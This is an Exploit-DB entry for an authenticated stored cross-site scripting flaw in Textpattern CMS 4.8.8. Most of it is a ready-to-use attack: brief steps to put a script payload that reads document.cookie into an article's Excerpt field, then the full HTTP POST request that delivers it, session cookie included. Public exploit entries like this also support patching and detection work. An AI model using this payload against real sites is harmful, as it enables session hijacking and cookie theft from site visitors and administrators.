Exploit-DB #51523
Description: Textpattern CMS v4.8.8 - Stored Cross-Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2023-06-14
Author: tmrswrr

Exploit:
# Exploit Title: Textpattern CMS v4.8.8 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 2023-06-13
# Exploit Author: tmrswrr
# Vendor Homepage: https://textpattern.com/
# Software Link: https://textpattern.com/file_download/118/textpattern-4.8.8.zip
# Version: v4.8.8
# Tested : https://release-demo.textpattern.co/


--- Description ---


1) Login admin page , choose Content , Articles section : 
https://release-demo.textpattern.co/textpattern/index.php?event=article&ID=2
2) Write in Excerpt field this payload  > "><script>alert(document.cookie)</script>
3) Click My Site will you see alert button 
https://release-demo.textpattern.co/index.php?id=2


--- Request ---

POST /textpattern/index.php HTTP/2
Host: release-demo.textpattern.co
Cookie: txp_login=managing-editor179%2C1673c724813dc43d06d90aff6e69616c; txp_login_public=b7cb169562managing-editor179
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://release-demo.textpattern.co/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Length: 4690
Origin: https://release-demo.textpattern.co
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="ID"

2
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="event"

article
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="step"

edit
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="Title"

hello
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="textile_body"

1
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="Body"

hello
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="textile_excerpt"

1
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="Excerpt"

"><script>alert(document.cookie)</script>
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="sPosted"
[PII_REDACTED]
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="sLastMod"
[PII_REDACTED]
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="AuthorID"

managing-editor179
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="LastModID"

managing-editor179
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="Status"

4
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="Section"

articles
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="override_form"

article_listing
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="year"

2023
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="month"

06
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="day"

13
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="hour"

19
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="minute"

35
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="second"

25
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="exp_year"


----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="exp_month"


----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="exp_day"


----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="exp_hour"


----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="exp_minute"


----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="exp_second"


----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="sExpires"


----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="Category1"

hope-for-the-future
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="Category2"

hope-for-the-future
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="url_title"

alert1
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="description"


----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="Keywords"


----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="Image"


----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="custom_1"


----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="custom_2"


----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="save"

Save
----------------------------[PII_REDACTED][PII_REDACTED]941284351
Content-Disposition: form-data; name="app_mode"

async
------------